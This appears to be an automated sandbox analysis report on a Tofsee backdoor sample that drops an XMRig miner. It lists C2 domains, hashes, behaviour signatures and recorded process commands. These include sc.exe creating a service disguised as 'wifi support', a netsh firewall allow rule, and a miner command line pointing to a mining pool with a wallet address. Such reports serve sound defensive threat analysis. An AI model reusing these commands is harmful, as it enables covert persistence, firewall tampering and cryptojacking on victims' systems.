Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/10/2022, 19:20

General

  • Target
    file.exe
  • Size 255KB
  • Sample221025-x132lsdee7
  • SHA256 88973873fa559e87935ef941f8999c9634efd0e5fc74fd3dd3c4dc92d4ee9a82
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4244
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cirahuzx\
      2⤵
        PID:5060
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iobwpwje.exe" C:\Windows\SysWOW64\cirahuzx\
        2⤵
          PID:4968
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cirahuzx binPath= "C:\Windows\SysWOW64\cirahuzx\iobwpwje.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5008
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description cirahuzx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1136
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start cirahuzx
          2⤵
          • Launches sc.exe
          PID:4600
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2700
      • C:\Windows\SysWOW64\cirahuzx\iobwpwje.exe
        C:\Windows\SysWOW64\cirahuzx\iobwpwje.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1216
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2888
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4360
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 524
          2⤵
          • Program crash
          PID:4020
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1216 -ip 1216
        1⤵
          PID:2580

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              iobwpwje.exe

              • Path C:\Users\Admin\AppData\Local\Temp\iobwpwje.exe
              • Size 11.8MB
              • SHA256 744040e9e847b7c084cc89a6db730d021338549b2e8f0171be2cd127fb2d8ac5
              • MD5 SHA1 SHA512 SSDEEP

              iobwpwje.exe

              • Path C:\Windows\SysWOW64\cirahuzx\iobwpwje.exe
              • Size 11.8MB
              • SHA256 744040e9e847b7c084cc89a6db730d021338549b2e8f0171be2cd127fb2d8ac5
              • MD5 SHA1 SHA512 SSDEEP

              memory/1216-150-0x0000000000400000-0x0000000002C2E000-memory.dmp

              memory/1216-149-0x0000000002F6E000-0x0000000002F83000-memory.dmp

              memory/2888-146-0x0000000000950000-0x0000000000965000-memory.dmp

              memory/2888-162-0x0000000001FE0000-0x0000000001FE5000-memory.dmp

              memory/2888-168-0x0000000001FF0000-0x0000000001FF7000-memory.dmp

              memory/2888-165-0x0000000007700000-0x0000000007B0B000-memory.dmp

              memory/2888-159-0x0000000001FD0000-0x0000000001FE0000-memory.dmp

              memory/2888-156-0x0000000001FC0000-0x0000000001FC6000-memory.dmp

              memory/2888-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

              memory/2888-152-0x0000000000950000-0x0000000000965000-memory.dmp

              memory/2888-151-0x0000000000950000-0x0000000000965000-memory.dmp

              memory/4244-133-0x0000000002C30000-0x0000000002C43000-memory.dmp

              memory/4244-132-0x0000000002C73000-0x0000000002C88000-memory.dmp

              memory/4244-144-0x0000000000400000-0x0000000002C2E000-memory.dmp

              memory/4244-143-0x0000000002C73000-0x0000000002C88000-memory.dmp

              memory/4244-135-0x0000000000400000-0x0000000002C2E000-memory.dmp

              memory/4360-172-0x0000000000400000-0x00000000004F1000-memory.dmp

              memory/4360-177-0x0000000000400000-0x00000000004F1000-memory.dmp